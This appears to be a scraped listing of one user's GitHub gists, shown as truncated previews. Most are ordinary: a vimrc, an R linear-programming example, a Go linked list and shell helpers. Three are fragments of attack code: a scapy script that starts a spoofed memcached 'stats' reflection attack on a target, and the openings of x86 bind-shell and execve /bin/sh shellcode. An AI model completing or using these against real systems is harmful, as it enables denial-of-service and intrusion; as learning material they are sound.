🏳️⚧️
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from scapy.all import IP, Raw, send, UDP | |
| import sys | |
| cmd = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n' | |
| memcached_addr = sys.argv[1] | |
| target = sys.argv[2] | |
| iface = sys.argv[3] | |
| packet = IP( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # The directory is different on arch, I'm too lazy to change it. | |
| # install doc-rfc before using it | |
| # https://news.ycombinator.com/item?id=16570470 | |
| RFCS_DIR="/usr/share/doc/RFC/" | |
| RFC_QUERIED=$1 | |
| echo "$(find $RFCS_DIR -name '*'$RFC_QUERIED'*')" | head -1 | xargs zmore |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| set nocompatible " be iMproved, required | |
| filetype off " required | |
| " set the runtime path to include Vundle and initialize | |
| set rtp+=~/.vim/bundle/Vundle.vim | |
| call vundle#begin() | |
| " alternatively, pass a path where Vundle should install plugins | |
| "call vundle#begin('~/some/path/here') | |
| " let Vundle manage Vundle, required |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # To run, execute Rscript linearprogramming.R | |
| # based on https://rpubs.com/abhaypadda/linear-optimization-example | |
| library(lpSolve) | |
| # Objective | |
| objective.in <- c(0.06, 0.08) | |
| # Constraint matrix with 3 rows | |
| const.mat <- matrix(c(8, 6, 1, 2, 1, 2), nrow=3, byrow=TRUE) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var confirm1; | |
| confirm1 = confirm("Are you ready to play?"); | |
| if(confirm1===true){ | |
| var age = prompt("how old are you?"); | |
| if (age < 18){ | |
| console.log("you are not old enough to play"); | |
| } | |
| else{ | |
| console.log("You may start your quest!"); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # bugs - plugs to random port :/ | |
| # run netstat -tlnp | grep LISTEN before using | |
| .global _start | |
| .section .text | |
| _start: | |
| # socket syscall | |
| mov $0x66, %eax # syscall 102 - socketcall | |
| mov $1, %ebx # socketcall type 1 - socket |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .global _start | |
| .section .text | |
| _start: | |
| # execve syscall | |
| xor %eax, %eax | |
| push %eax # null byte for /bin/sh string | |
| push $0x68732f2f # little endian //sh | |
| push $0x6e69622f # little endian /bin |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| as --32 $1.s -o $1.o | |
| ld -m elf_i386 $1.o -o $1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| ) | |
| type Node struct { | |
| Data int | |
| Next_node *Node | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| docker start gdb-docker | |
| docker exec --privileged -it gdb-docker /usr/bin/gdb $1 |
OlderNewer